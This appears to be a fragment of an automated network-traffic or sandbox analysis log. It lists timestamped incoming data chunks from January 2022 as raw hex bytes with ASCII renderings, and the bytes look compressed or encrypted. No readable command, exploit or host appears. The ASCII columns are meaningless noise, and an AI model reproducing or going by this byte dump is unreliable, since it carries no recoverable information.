37 bf aa cf 14 90 5d 5a 09 a0 e6 5e 58 a9 84 95 fc 8d b8 2e 29 d3 39 51 e8 ed 19 b5 53 35 5d d5 73 30 e7 c7 89 aa 7e cf 
26 f3 f3 54 7d fd 6c a6 bf bf 71 d6 d6 44 d5 e5 a6 e9 
Data Ascii: k8.Bs>XE;(XG2eZkznQgAAL.-EqWr9MX8;pcV"'SS'",2-|U_J x{X} oF%D\kL$JO|\D8Tu=KS7]Z^X.)9QS5]s
0~&T}lqD

2022-01-13 21:05:25 UTC 1173 IN Data Raw: db 93 f5 bd c1 24 e9 fa 64 57 cc f4 9a 81 31 30 9c f2 08 90 a5 38 d5 4f 00 54 62 a3 33 68 4e de ac eb 0d 5b 04 
1f 84 f9 6c 1f 51 04 c3 4a fd 4d f9 af 6f 7b a4 6c 66 17 25 db ba 08 43 75 43 ac 56 95 01 d0 b0 20 66 2a 43 24 5f b6 a6 94 
49 60 f1 75 ac 9f a0 b6 61 6c 75 f5 8c 26 58 10 ce cd 60 9d 51 4f b0 23 a8 a7 03 15 7a e6 3a d3 31 66 e9 a2 bf a0 59 83 
95 38 ee fc a8 48 1e 6a ad 90 dd 5e aa f7 b4 77 1f 1a a8 a8 ca 2f 59 a9 92 68 8d d9 d5 66 a4 68 3f 4b 49 dc 1a 69 82 92 
74 ae 32 b4 6c 92 76 0e 87 1e 87 b4 1e 20 a1 fe bf 38 0c d4 70 a5 f3 f2 1b fe 5e 35 5c df 41 05 db be 77 c0 b7 f8 9b 43 62 
2e cf 71 55 0f 78 28 39 0f 57 4b d7 e1 eb 0b be b7 5f a5 6b 9c 84 f4 1e de fc ea 35 5d 33 2f c4 d9 3f 64 af 15 c9 a0 af 66 
95 c9 dc d4 8d d0 a3 e6 f4 e5 42 0c 45 d4 7d 
Data Ascii: $dW108OTb3hN[lQJMo{lf%CuCV f*C$_I`ualu&X`QO#z:1fY8Hj^w/Yhfh?KIit2lv 8p^5\AwCb.qUx(9WK_k5]3/?
dfBE}

2022-01-13 21:05:25 UTC 1175 IN Data Raw: 28 1b 52 fa c1 86 ae 10 a3 62 77 f7 32 3c c3 5d 76 a1 d8 eb ff ac ca ab 75 78 a2 36 6b 6c 36 62 cb 37 a1 36 d7 
ab b6 0c 1b 0b 98 92 60 89 cd b2 89 27 8a dc a8 85 e5 b4 77 7b 1a 77 f0 ad 09 bc 52 d9 70 e4 f1 29 6f a5 8a b6 12 e4 75 
00 90 a2 b4 dd dd e6 a0 ec ec 94 51 5c 46 88 d1 a9 19 bc 82 32 9f b3 c9 1d 46 22 2c 92 63 1a ba e6 89 83 5d 4d ef 23 84 
ac 4a 38 7f 58 d1 76 cb 9b 9b d0 ee 0a 3a f9 3f 40 5e 06 a3 5c 9b ea 6c a9 14 aa 8a 20 0e f3 61 15 7d a3 16 fa db 97 df 
8c 68 c9 71 bc 4e 57 8c fc 59 79 03 2f e8 17 e3 ab 4c 31 23 aa 31 c7 7f a4 31 fb 7f a4 31 11 af dd 8e 95 1a a7 88 ca ba a0 
3f 5b 67 3d 60 c0 f4 c7 7d fa 4a b6 36 22 aa d1 38 be 67 59 14 f5 e4 62 c4 15 62 87 d5 38 20 10 24 b2 4a 6e 25 ba 91 0a 
1a a9 42 14 c9 d3 76 9a b6 15 5e d7 79 f6 e9 07 86 
Data Ascii: (Rbw2<]vux6kl6b76`'w{wRp)ouQ\F2F",c]M#J8Xv:?@^\l a}hqNWYy/L1#111?[g=`}J6"8gYbb8 $Jn%Bv^y

2022-01-13 21:05:25 UTC 1176 IN Data Raw: c6 79 cf 67 5e b3 9a e7 9e 4f f0 08 4c 5a f1 2c 3c 78 4c d6 93 04 2c f4 22 0a 68 7c a0 dd 14 e0 ef de 84 74 de 
5c 9d ad 10 d6 72 bb 8d 7a 31 da 19 ed a4 01 d2 3e 77 55 2b cd 75 f2 35 20 ed 75 13 a4 dd ee e5 ee 65 19 75 a0 b5 33 
32 ae 29 d8 0b da ce 2a 89 46 b8 d1 fe 83 98 83 30 7a 06 87 0e 5d 57 bb 12 9e c5 28 87 73 1c 28 cf 7e 2c 22 fe 84 51 08 
b2 3b 3b a3 3b 70 40 44 4d 17 96 1d 60 46 ad d2 23 1d 3f 83 89 6f 9c 02 f5 c1 78 06 d5 2a 2f 4d e2 46 a1 f7 0a 4e 1b 10 
e1 4a aa e5 d3 89 4d 21 d6 96 6d ac d8 d3 24 f4 68 ca bc 17 06 dc 55 f3 fc 2d 0b 37 16 3b 66 95 04 4e 53 ef c5 07 83 55 
89 7b 3c f6 d8 85 f4 f3 68 1c aa a5 f8 38 ac 18 28 dc 7f 32 d1 46 9a 9c 58 79 7e de c3 a3 89 7d a3 65 cd f8 75 a7 6e 1c ee 
87 ac 41 eb 31 6f f2 83 ae 4f e7 c0 8b 68 60 99 f1 59 
Data Ascii: yg^OLZ,<xL,"h|t\rz1>wU+u5 ueu32)*F0z]W(s(~,"Q;;;p@DM`F#?ox*/MFNJM!m$hU-7;fNSU{<h8(2FXy~}
eunA1oOh`Y

2022-01-13 21:05:25 UTC 1177 IN Data Raw: c9 9b d7 2c 4d f9 dd 5d 47 6a 1c 9c 38 6b 8f f9 d3 53 ac d3 0a 82 7d b3 ba a7 1b 5a b9 25 3a 45 dc c8 24 00 
b3 72 ea 8a 4e 78 39 2d 9a ef 15 2d 7d 41 2c 7f 33 36 91 5c 93 6c c9 aa 18 cd 8d 6c b0 72 cd 32 96 dd dd 32 ba 9d 8b f3 
7f 61 1d e8 35 d4 82 4e 52 48 0f 4a eb ad 53 e5 71 ab 24 53 5c 47 29 ea 71 55 3c 00 d4 9a 51 96 8b 9b 27 a3 0e 88 c7 ad 
52 9e 57 ac ba 60 60 31 f9 b1 65 60 e3 dd dd 79 d4 24 0c 00 f7 67 1a 99 b0 93 71 ec b7 31 d1 2e c9 b1 df 4a 4a 97 1f f1 
c2 22 f7 a1 12 3e fa 9d 34 55 4d 33 59 d5 c2 c9 73 fe b3 dd b2 a7 1f e8 f2 f0 4a ce 5d 0f 52 24 5e 26 0f 40 1e fd c8 0a 55 
03 a5 03 c2 35 ec 40 32 94 68 18 3b e9 2c 4c 93 95 d8 06 20 10 03 02 d3 d3 2e 6a a6 c4 81 0a 6f 10 45 be 7e 22 65 00 
89 66 6e 20 df 72 1c 0e e8 2f 70 cf d1 99 1c 9e d0 f7 16 
Data Ascii: ,M]Gj8kS}Z%:E$rNx9--}A,36\llr22a5NRHJSq$S\G)qU<Q'RW``1e`y$gq1.JJ">4UM3YsJ]R$^&@U5@2h;,L 
.joE~"efn r/p

2022-01-13 21:05:25 UTC 1178 IN Data Raw: f4 6d 39 ee c9 6b 77 af 97 55 e5 aa 7b eb 72 33 f0 ef c4 9d 9e 8d e9 4c a8 9c a2 e9 82 ae d9 4d 1a f0 c2 da 54 
ef 57 ee 95 7d 14 66 50 37 08 34 d0 72 f4 ec fd fb d1 f1 bb c3 d7 ef 5f bc 79 f7 2a 0e 0c ed 60 ca d4 cd e5 d3 2a 63 32 3f 
59 84 c1 9e da 56 c4 29 c7 6c 43 4e 7f c7 51 e0 e4 fa 35 54 e9 00 0d 07 8a 7d c9 8a b7 1e 02 8b 18 09 d9 0b 15 f0 38 cc 
71 4b a7 20 38 c3 34 11 dd 1d 51 58 1d 51 9e 53 8f 39 f9 6f 63 fd e5 e0 ec 34 14 bd 5f f2 f9 6f ea 76 37 57 67 97 59 ba c8 
aa 01 04 68 4f 07 83 be f7 44 58 b2 95 ee 60 70 4f 1e 0d a9 a4 b4 b4 94 d3 33 bc 6d fb 04 83 f2 25 46 6b 29 43 d8 94 e6 
39 b8 2c 51 0b 2d a5 64 08 67 dc 61 a9 3e 6d 2a c1 60 29 e9 75 85 d8 59 53 ff 04 76 14 04 5a 37 df 63 d5 da ee 11 53 99 
e2 0b a2 2c 7c 91 01 a1 67 70 3a 89 42 18 4d 12 
Data Ascii: m9kwU{r3LMTW}fP74r_y*`*c2?YV)lCNQ5T}8qK 84QXQS9oc4_ov7WgYhODX`pO3m%Fk)C9,Q-dga
>m*`)uYSvZ7cS,|gp:BM

2022-01-13 21:05:25 UTC 1180 IN Data Raw: fb 27 6f ec f1 59 2c 8f 93 0c e2 c8 9f 68 ec 7e f0 62 08 7d 68 ce 94 37 ac c9 5f 59 5f cb 3e b9 ef bd 17 75 dc b5 
06 a8 fa 7f f2 f4 64 3d 2d 37 ed a5 e2 dc ac 9a 9a 65 7e 8e 04 a4 90 18 7e fe 56 68 72 65 36 57 a6 73 e9 3c 4d 87 e7 e8 
f6 f2 ee 8e 3a c2 3a 4e 69 6c b3 57 19 ab 73 d7 a3 a2 94 4e 31 10 10 e8 dc 1e fd aa fa ae 16 69 f4 19 a5 33 12 92 69 cc 
67 2e db 1e b9 46 63 e2 b5 23 5f 4c 7e 0e d7 9e b8 b1 af 49 9d 43 ff 36 f4 14 70 ec 85 dd 58 81 39 97 68 9c a2 0a 4e 93 
bd 95 4c 69 f6 a3 9e b7 8e db c5 4d 91 ae f2 f9 50 84 9e 7e 91 e7 e6 f8 46 b8 fa 64 6e b9 be 81 39 c0 5b b1 ae 99 e3 a2 
01 36 bc 3a 8b d8 d2 e2 3a dd 24 a6 54 5f 19 c9 c7 45 64 6f 25 ba 6c 47 89 b5 d9 35 de b7 64 48 12 5d 43 47 41 85 25 ca 
b9 31 1d 62 90 de d9 13 bc b6 0e 17 a2 96 ba 27 3b 
Data Ascii: 'oY,h~b}h7_Y_>ud=-7e~~Vhre6Ws<M::NilWsN1i3ig.Fc#_L~IC6pX9hNLiMP~Fdn9[6::$T_Edo%lG5dH]CGA
%1b';

2022-01-13 21:05:25 UTC 1181 IN Data Raw: 24 27 74 5b 9b 5b a2 ee d8 04 9d 57 0d a4 90 0e 31 95 b1 61 43 e2 a5 58 0a ab ec ab c2 b9 21 fe 66 69 ee 95 
8a 8e 57 45 db 35 8c 0e 5e 16 79 ed 12 cb 8e 41 f6 97 24 aa 46 64 3a f5 a4 a2 2e 35 ca 62 56 16 fb 32 a6 9c 96 4d 06 f1 
83 28 7e 13 ba 84 5f fc 29 6e 6c 40 86 27 7d a3 97 da 8f bc 69 0e 63 49 83 e2 5c 71 80 f1 31 83 6c 52 a2 c3 13 04 f1 b3 f8
1d e4 90 94 ec 4f 71 10 bf e2 fc d7 08 23 a9 42 69 c4 af f9 d9 bb 3d 83 f8 bd ca 64 39 86 80 53 36 9f f2 75 66 6c 73 25 cf 
73 03 3b 2d 29 58 8d d2 19 9d c3 91 be 48 92 e5 1d 83 f8 86 53 c4 21 d7 ab 6a 2d 94 6d b2 a4 5f 62 fa 8c 6d ab 3c 8a e4 
54 86 44 bc 4b f6 22 6e 76 90 65 0b d1 ba b3 1f 77 d1 b2 92 dc 25 a0 e4 ea 55 3f df b2 35 06 63 ee 1b 9e 3c a0 1c 36 7c 
ca 5f 73 6a 5b 00 c7 24 84 2d e0 48 5f 69 b1 18 f0 
Data Ascii: $'t[[W1aCX!fiWE5^yA$Fd:.5bV2M(~_)nl@'}icI\q1lROq#Bi=d9S6ufls%s;-)XHS!j-m_bm<TDK"nvew%U?5
c<6|_sj[$-H_i

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1182 IN Data Raw: e6 72 ef a9 30 0a a4 eb 1d f1 7a 0b b1 b5 db 1c 82 2b f6 23 f6 0e f8 a7 33 5c 52 89 a3 6a ff ea f1 03 c6 e5 1f 19
3b 73 71 ff 4b c3 67 4a ff 8f 46 50 53 17 ff a3 d1 73 06 cb ac 4c 6d 3e e1 8c de ed ed c0 fd b4 66 77 06 b3 c1 70 7f 30 19 
8c 07 6a 1c 54 60 57 37 af c7 00 ab d8 86 fe 70 29 fb 0b 19 af fe 71 88 25 b7 88 82 b8 9d dd f9 ad 64 46 0d af a6 4e bc 66 
a9 c4 50 ac 2d f5 10 b6 4d 41 da cd fd 83 0d 50 fb 5b 51 ac fe 3c 73 9a 69 42 33 50 ae 1f a6 71 32 f1 26 df 3b be 38 2c ae 
63 b9 e1 cf 1c 3d 38 ec 2d cd d9 98 a6 8c e6 0d 73 e6 78 37 a4 67 03 7c 05 b9 85 6a 07 b7 83 d7 6a 6e c5 87 88 db 37 c8 
0b af df 2c 93 72 23 4d 82 bd 32 47 bc ae 35 e7 88 91 0e 03 e6 bf 68 85 92 f4 db 6d b2 b8 7b d3 36 56 a7 0e ee ee 68 9a 
d8 56 f5 b7 87 66 77 b6 36 8f e2 48 50 de 
Data Ascii: r0z+#3\Rj;sqKgJFPSsLm>fwp0jT`W7p)q%dFNfP-MAP[Q<siB3Pq2&;8,c=8-sx7g|jjn7,r#M2G5hm{6VhVfw6HP

2022-01-13 21:05:25 UTC 1184 IN Data Raw: fa ab 2d db f4 34 d1 34 cf 34 ca 81 2c d1 f3 c2 01 03 0d 29 51 c4 bc 78 26 ec e0 80 5d 8b 05 09 e2 cf a7 47 6a 
59 b1 9d 94 c8 a9 6c c8 57 bc cf c2 40 c9 d4 dd bd 56 77 64 70 5e da a3 45 05 be d0 01 9a da 76 5c 2a ea 2e 10 2c b3 51 
63 57 b2 22 b4 39 52 09 42 28 0d 4d 2a 70 80 fc 2c a7 1c ea 50 55 b0 93 d9 65 00 dc 35 01 30 e6 ed ba 19 7c ca eb cb 81 
bc de 0c 84 24 1c 88 57 c8 80 96 9d 29 c7 d0 c6 e9 7c 9e 6d 36 f9 59 4e 1b e7 66 44 5b fd 79 56 a7 f9 72 33 19 20 88 f9 
66 f2 e8 11 8e 63 da 4e cb 51 5a 5c 20 ae fa 3f 36 1c d1 1c bb 7d 53 3f 4a d7 f9 23 90 47 f9 3c 7b a4 0f 8c ff b5 5a c8 c6 
52 47 9e 6d 38 b7 d6 b4 1d 0b 95 4d 17 ed 63 f2 10 c7 e5 66 a0 66 6e c8 1a 75 53 76 ef 61 00 03 a6 87 ac 6b b5 9b 8b cd 
2a 9d 67 16 5e 53 25 47 1b 3a 44 32 94 50 2f 81 d1 
Data Ascii: -444,)Qx&]GjYlW@Vwdp^Ev\*.,QcW"9RB(M*p,PUe50|$W)|m6YNfD[yVr3 fcNQZ\ ?6}S?J#G<{ZRGm8Mcffn
uSvak*g^S%G:D2P/

2022-01-13 21:05:25 UTC 1185 IN Data Raw: e5 38 b9 cf c2 d2 41 29 97 b1 d5 88 a9 9c 34 dc a8 05 26 3a 3d 6f 9b 65 b2 6d 5c 81 73 6b a2 7a 2a 13 dd 1b 
76 2e 35 4d 47 b6 72 00 0c cd 40 0d 19 0e a0 0b c9 97 46 5a 10 5f 64 3e 6e 35 fc 2e 53 91 16 8d 57 d3 34 19 f8 14 fa da 
55 53 64 97 c3 9b cd 3d da 96 75 a8 e3 5c a9 28 57 d2 98 4f 89 f8 04 09 96 3b bb 4c 0e 38 80 29 93 2c 41 fc 21 e1 d0 a4 
f2 5a c8 64 79 cf 57 73 10 7f 94 c8 28 b7 9f 27 c7 a3 cf 6f 35 81 f5 8c cd 20 e3 1b 4a bc 31 89 87 3f bc f9 db d1 56 b9 8f 
35 0a bc 79 f1 e2 fd d1 f1 87 a3 d7 cf 1b 85 a4 a6 ad 8e b9 f2 35 df f9 e1 e8 c7 37 3f 6f 63 76 59 eb fe cc fb e3 c3 77 c7 dd 
1f d2 d0 de 3d 50 92 8f f7 c7 5a a4 bb 5a fc b7 63 e7 f5 df ca f1 64 b5 90 eb 9d 13 95 28 71 b5 f8 5b 4e 0c 37 02 5e 22 55 
3d 20 fd 90 ee 73 90 04 f2 42 3f 71 2d 6c ef 
Data Ascii: 8A)4&:=oem\skz*v.5MGr@FZ_d>n5.SW4USd=u\(WO;L8),A!ZdyWs('o5 J1?V5y57?ocvYw=PZZcd(q[N7^"U= 
sB?q-l

2022-01-13 21:05:25 UTC 1186 IN Data Raw: 5d 39 cf cf 86 93 f7 a5 3c d0 f7 00 6f 0b b8 e3 2f 81 f7 12 ef 8f e9 68 fa 16 93 ff f8 db 03 5a 83 d9 c1 3e 23 11 
29 05 a8 27 15 18 98 f5 34 60 6a 0f 81 5d f3 82 7e e6 44 03 bd ac b5 66 f4 8c 32 0e 0a 86 8d 31 88 08 fb 0c 9e f0 f8 5b da 
e9 38 ee 88 84 fe 56 a3 75 03 44 30 63 44 56 5f 04 11 00 9d 75 b1 e6 ae 29 c5 31 0f 16 c2 6c 10 7d 5e 8b 81 4c 36 5a 95 
8b 2b 62 a4 82 e2 e2 95 52 ac 06 f1 49 00 c3 0a fa e7 d0 58 bf d0 ef 8a cd 5c 8c fa 75 5e 56 59 f3 79 64 cd 65 fc f4 0b 5a 
3f 57 74 28 b5 5e e4 16 25 ad f5 8e 48 da f2 aa 6e 25 af 88 a4 68 25 d6 62 0e 42 a4 ca 32 ab 3b 1a 50 6b 73 11 37 5d 85 
01 dc b0 e4 1a 8f c0 75 e8 c9 a2 43 16 f7 bd 66 c6 f0 fd 65 96 d5 7d 39 c4 29 a7 fb e5 1c e8 71 3d af 54 c0 85 de d7 f9 7a 
d3 f7 0e f8 0a fd 2f b5 19 4f d7 5b 2c 98 
Data Ascii: ]9<o/hZ>#)'4`j]~Df21[8VuD0cDV_u)1l}^L6Z+bRIX\u^VYydeZ?Wt(^%Hn%h%bB2;Pks7]uCfe}9)q=Tz/O[,

2022-01-13 21:05:25 UTC 1187 IN Data Raw: 3f 1c 3e fb 2f f9 e0 5f e2 e7 d4 b9 e3 a3 c9 b7 7f de c6 cf de bf 9f dc b2 99 c1 cb e3 97 6f 5e e3 8b 0e a8 2e 84 
9e 7b 21 b1 dc 03 d9 de c7 e6 cd 11 bd c1 65 12 1f be 7e f9 ea d0 14 35 c2 fc 66 49 a3 69 30 05 8d 6d c3 a4 56 38 be 1c 
fb ce 79 f1 e1 0d f5 eb e5 6b ef fd 1b d6 b3 e9 5c dc 66 f3 5e 2c c2 dc 57 1f 9e ff f4 ee b0 9d e7 b9 42 27 76 9b ff e1 ed 8f 
87 bf 42 1f 4d 03 43 99 4d 47 de 12 c5 f5 9e c3 ba ba 99 dd 7a 4d d6 ce 6a 5f 1f be f2 2b 84 00 cf cb 71 fc f2 d5 cb d7 ff e9 
e5 39 ce 41 98 bd 50 ab d6 ff f2 cb 77 47 cf da 9f 36 02 31 5a fc af 8e 9e d3 b2 bc fd bc 99 78 d1 8a be 03 c8 3e ae 3b b1 
9b c5 cb bc 68 84 32 8a 37 ab ae 74 16 c9 b8 75 7d ff 9d ad 6b b3 6a d4 f5 fd 9f a5 ae d5 a2 2b bd 55 d7 fe e3 ff b0 95 ad 
16 8d ca f6 1f ff 45 6a 5b 5e 74 
Data Ascii: ?>/_o^.{!e~5fIi0mV8yk\f^,WB'vBMCMGzMj_+q9APwG61Zx>;h27tu}kj+UEj[^t

2022-01-13 21:05:25 UTC 1189 IN Data Raw: 8d a8 29 4d f3 7c 39 e3 d5 b1 a1 08 39 86 80 95 c8 68 74 32 c1 a4 10 4e 31 b4 83 16 1d a9 54 e7 c8 df 2c 88 
15 fb c5 b5 9d 94 ea 74 5a 78 f1 32 2a 7c 83 cb 88 f1 fb 53 fd 5a 1e f7 f6 e1 7a 42 bb d8 38 3b 10 d9 b0 98 0a 94 a7 b1 45 
54 e1 49 ac e7 15 96 2d 31 32 72 0c 05 fb e3 f1 9f 02 3e a3 86 a5 8a d6 32 f5 5a 81 d0 35 a1 ee 6b 79 4d b4 c2 12 98 53 
ca 2b bf 0b e6 bc 31 30 49 11 37 06 30 a9 89 f7 30 8d 4e 4a 84 e7 f5 c4 a1 ee 36 71 d7 34 9d e9 f0 c4 f3 86 f3 55 ba f9 38 
2b 92 72 42 2b f4 1e 2f 2a e5 89 b0 a2 dc 1d e8 09 ce 5b 0e 35 f9 54 fb dd e3 df 87 ec cf 20 1e 57 38 17 dd 0d 0d 4e a5 09
64 6c 1d aa 4a 1d 93 5a 9c 03 60 a0 22 0a 14 d7 4b 8f ed a0 ba 72 ed 74 f4 74 77 17 b2 5d e5 2b f3 9a e5 7a 8d 04 6d 06 
cd 0e 5e 6c a9 41 c3 8b 4d 3c fd 03 9b c5 dd 1a 
Data Ascii: )M|99ht2N1T,tZx2*|SZzB8;ETI-12r>2Z5kyMS+10I700NJ6q4U8+rB+/*[5T W8NdlJZ`"Krttw]+zm^lAM<

2022-01-13 21:05:25 UTC 1190 IN Data Raw: c9 66 ec 0e 5d 12 fc c4 cc 00 30 ac 20 f6 19 60 ea 06 0f 89 30 79 c8 96 31 f2 1d 4a d8 df 3e 1c 05 f1 49 19 0b 
11 4b 24 35 83 5b c0 4f df a1 d8 e9 74 77 11 0a 16 4e 77 9b 7b 28 b2 32 34 22 b1 8c 31 d9 b4 3e 28 a6 b5 40 7e c0 ca c4 
5d 4b 8e 79 0b a3 2d e9 79 a7 6c de 24 4b 18 ed 7a d6 ba 43 a6 de 87 8b 44 02 19 ab 0f 17 07 e5 b4 a0 0f ab c1 cb 4e 8a 
53 89 29 6a 0a 08 3e 45 ee 10 ec ba 6c 75 40 f7 33 95 65 fa 6c 11 9e b8 79 4e aa 53 8b 0b 52 a3 71 1c 39 04 37 1d 48 56 
91 cc a7 4b 75 95 e4 99 b3 26 d5 fd 5f 25 95 48 8b 1c 69 15 6d e7 7c c3 2a b3 1f 72 16 b0 6e 1a b8 89 ac 29 28 55 e5 4a 
54 fc 53 b1 d0 22 6c a6 39 15 81 d8 d0 e1 88 1f 0e c6 1c 1a 1e a8 71 bc 0c 15 8a ce f0 ef a4 30 f7 17 9c ca 7a 2e de 73 
e3 75 16 43 62 ac b4 83 74 c5 96 e2 d0 c5 02 55 35 3c 
Data Ascii: f]0 `0y1J>IK$5[OtwNw{(24"1>(@~]Ky-yl$KzCDNS)j>Elu@3elyNSRq97HVKu&_%Him|*rn)(UJTS"l9q0z.s
uCbtU5<

2022-01-13 21:05:25 UTC 1191 IN Data Raw: 9e 6f e2 0d 8d 5a f6 cb 84 95 e7 ac b4 0a f7 c7 e3 6f 0c 60 dd e8 3b 9a 57 d6 1c 3d 5a c8 df 28 7a 04 04 29 2e 
f7 eb fd e5 44 17 44 05 e5 87 94 dc 6e 1b 2d 1b 9b 36 8d 75 6b 00 5c 28 f5 8f be db 3a 13 fb df 65 b9 3a 2e c5 dc bb c7 40 
c5 c5 83 2c 7a f0 20 07 fa db 00 85 d4 0f bf f2 c3 78 10 0d f8 d3 94 49 1a b3 8d d5 af 5f b7 83 28 88 c2 f9 a8 6f 9d 71 43 dc
75 f8 1e 7e 9b ff d7 db fb 55 6d aa 4b 3a fa 5b 84 48 99 dc da fb da b2 69 59 9b 37 de 69 30 c4 59 04 d2 7b 7c 90 30 b4 f3 
80 c8 ed 81 20 67 2b 6c 55 5e 2a 03 99 f7 c1 e7 c1 cd c0 58 55 f3 2f f5 c2 58 68 f3 2f a5 3a 74 22 92 46 cc 4e 8b 35 e2 94 
31 23 94 d5 5d ad ec e8 1c 13 ff 49 11 8e e3 e6 e1 00 00 48 1b c7 d7 f1 28 68 e6 66 3c c5 9e cc ca bd a0 ab 88 f2 46 68 
94 3c 27 92 7b c8 f8 23 93 f2 c4 79 a2 
Data Ascii: oZo`;W=Z(z).DDn-6uk\(:e:.@,z xI_(oqCu~UmK:[HiY7i0Y{|0 g+lU^*XU/Xh/:t"FN51#]IH(hf<Fh<'{#y

2022-01-13 21:05:25 UTC 1192 IN Data Raw: b3 71 41 ee 5d cf c7 54 d7 75 ae 3d 5a 51 52 c6 c8 a5 7a 8a 69 0f 6b 27 af 2a 5c 27 8d 46 dc dd 6d 64 d2 c7 
07 36 33 27 fa bd 84 22 65 67 67 63 f6 1b f4 39 1b 77 f7 c4 c7 34 f0 70 b7 90 50 87 62 cd 43 fc 41 34 bd e1 19 e1 64 04 8f 
c8 ed 49 75 2b f8 b9 97 82 12 1b b3 4c b0 6d 4c 0c 29 7c db 7a 8d 96 e0 d1 ee ee 11 cd e4 03 4d 7f c5 47 49 e5 1e 7d 47 
0a 02 5c ad d4 2c 39 e7 79 c7 7a 7d e0 ae d7 07 b4 26 61 e9 f0 c0 5c 5a 00 c9 f0 e9 35 ee dd 7e 14 ef ac f4 4a a6 45 34 
fd 14 2e 3b 82 3e e0 12 80 45 c2 c9 fe e9 74 ae 56 ed 21 dd 94 cc ab c6 67 76 38 b2 36 e8 88 ec 82 22 b9 6c cb 27 6b ec 
8e eb b0 38 59 76 7b e9 9f c2 00 4e bd ef f0 b6 3f 85 55 5a bb b8 ec 2e 38 20 b7 cb ea 77 d3 fc 1b 0b 71 e8 e7 79 c9 9e 
cc f4 e3 19 ec cf 29 b3 00 20 ee 2b 07 0f 73 68 e5 71 
Data Ascii: qA]Tu=ZQRzik'*\'Fmd63'"eggc9w4pPbCA4dIu+LmL)|zMGI}G\,9yz}&a\Z5~JE4.;>EtV!gv86"l'k8Yv{N?UZ.8 wqy) 
+shq

2022-01-13 21:05:25 UTC 1194 IN Data Raw: bd f2 9b 32 7a ca f9 fa 0f 0a d3 9b e6 8a 51 c3 a1 a7 36 f4 97 c6 a2 4a 2f bc a5 91 17 ce d2 b8 24 b2 f4 77 b8 
1e 2c e1 47 27 9f 78 75 05 fc e1 65 4e 57 01 11 8b bc 02 68 36 9b fe 8a b9 de d2 34 e0 ce 8d 27 de a9 fa 56 8b bd 27 22 
78 ed f7 66 c1 3a 2d d8 91 16 7f 3f cb 4e 78 06 8b 52 ef 53 ba 73 de 47 c0 61 f9 15 b7 f3 74 2e 5d ad 7b ea 5c b4 74 e8 37
c7 b9 63 59 18 7b ca af 5f 1e ee ea c3 74 28 03 ea 99 b7 8a 9f d3 0b 7c 0e a6 fe a1 b7 68 f4 92 70 c6 2e 2c 84 ab 4e cf 20 
b3 d3 07 f2 2f 6a 0d 35 8e 64 3b e1 71 47 a1 5f bf 54 e8 9b 8e d7 cd 85 12 4d ba 5b f4 c5 ca bb 5a f4 c5 6e 7c 55 8b e2 62
16 76 8f 7b b2 86 b8 e5 42 e3 88 b4 de ab f9 ea 3c 5e 90 4d c2 e7 f4 15 8e 26 65 63 c3 46 ec 8c e7 4d f2 24 73 82 d7 75 
af ce 7c 03 79 bb 88 13 fe f5 b6 f6 37 13 26 
Data Ascii: 2zQ6J/$w,G'xueNWh64'V'"xf:-?NxRSsGat.]{\t7cY{_t(|hp.,N /j5d;qG_TM[Zn|Ubv{B<^M&ecFM$su|y7&
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2022-01-13 21:05:25 UTC 1195 IN Data Raw: 1a c6 93 1e ac d7 0c 8a 14 32 b8 20 12 22 33 74 8d 37 74 c6 e9 81 57 6f 68 44 23 33 01 26 ed 26 fa 77 0d 6e 
2c 51 ec 28 41 7e a8 e7 8d 49 80 87 18 14 5c 8b 63 7d cb 79 cf 77 77 42 46 40 d0 f1 15 38 5d 51 13 a6 0b 94 a6 00 74 65 
1c 5a 98 61 4f 3e c7 58 3e fa af ed a1 e9 9a d3 23 db 13 d3 85 ce 26 46 93 ce a9 7d 76 45 24 c6 ca 9d 5b 27 e5 de c9 95 
d6 d2 2e bd af f3 4e 65 ba f3 7e fd d2 fb db ed d7 6f 53 bd 01 1a 5c 5b 19 39 e2 3d 65 be ec 48 e1 4c 8a 92 a3 99 67 91 
8b 99 47 66 c2 6d 71 25 61 56 09 9b 2f 8b 8f 8d ac 43 13 12 da 60 58 61 00 88 7c ce 12 85 44 63 88 c3 b6 39 6e 4f 0c a3 
79 0a bb ee a9 cb 6b 9a da 31 01 fa 9c b4 e7 d6 ad 92 3d ab 37 b0 59 69 4a 06 27 85 ce 23 23 21 8a ee 6d bc 6a 8b 07 
bb 25 38 aa b0 c8 f7 d8 c4 3a bb 4f f2 e2 ca 7e ba 92 19 05 
Data Ascii: 2 "3t7tWohD#3&&wn,Q(A~I\c}ywwBF@8]QteZaO>X>#&F}vE$['.Ne~oS\[9=eHLgGfmq%aV/C`Xa|Dc9nOyk1=
7YiJ'##!mj%8:O~

2022-01-13 21:05:25 UTC 1196 IN Data Raw: 63 86 d0 a6 4a 02 a3 78 b1 2a 94 d9 03 62 13 6d a1 53 46 b4 14 ae 81 0d fd 16 76 2a 36 2e 1b 68 e1 1b 80 29 
9e 2c e2 92 0e 2c dc ce 70 cd eb b8 0b b7 c0 6c 2f c0 70 39 2a aa 55 7c 45 4b 79 1d 5f d2 34 16 f1 79 7c 01 10 a7 3e af 
ca 79 9c c3 4d a0 c2 3f 69 62 61 26 e7 62 21 de 83 63 b6 08 cd 16 13 46 12 e8 a4 fa a8 98 5d 8d b4 37 6e 34 b9 82 2b 2c 
5d 85 53 fb 9e d1 74 8a 16 60 93 88 85 2b b3 5c 81 83 c6 28 27 d8 e9 36 3c 90 54 c8 6e be 5a a8 db 87 fd 54 cb 5c b7 b1 
a1 52 f1 6f 80 67 af 72 e9 ee 58 06 b4 19 8d e3 b6 6f 04 bf e6 25 97 9b bb 84 d8 e0 7d 76 4b d7 6d cc a5 7e 76 2e 5c 64 
44 df 11 6d af dd d4 ef f9 a0 8b f9 cb 37 d1 ee 2e 7a 1a b3 27 64 ab a2 6d cc 27 a3 63 52 e3 f0 a8 c0 a5 57 f8 50 70 3c 23 
76 7b 26 03 97 aa 0d 03 e4 4b 80 37 e0 17 06 3a 83 29 
Data Ascii: cJx*bmSFv*6.h),,pl/p9*U|EKy_4y|>yM?iba&b!cF]7n4+,]St`+\('6<TnZT\RogrXo%}vKm~v.\dDm7.z'dm
'cRWPp<#v{&K7:)

2022-01-13 21:05:25 UTC 1198 IN Data Raw: 89 28 5b 19 35 17 bf d6 e9 3c 1b a6 8c 68 67 1e cf b2 fa 53 96 a1 9a 57 5f 55 cd 69 7c 9c dc 2a 1c 15 68 d1 19 
e6 91 d5 15 08 4c b5 85 1b 7c 9f fa 8e ce 1e 96 38 9f 04 c5 05 7c 7a 2f 93 47 7f 0f c3 d9 e4 f3 dd 22 ad d3 e8 64 f2 db f0 
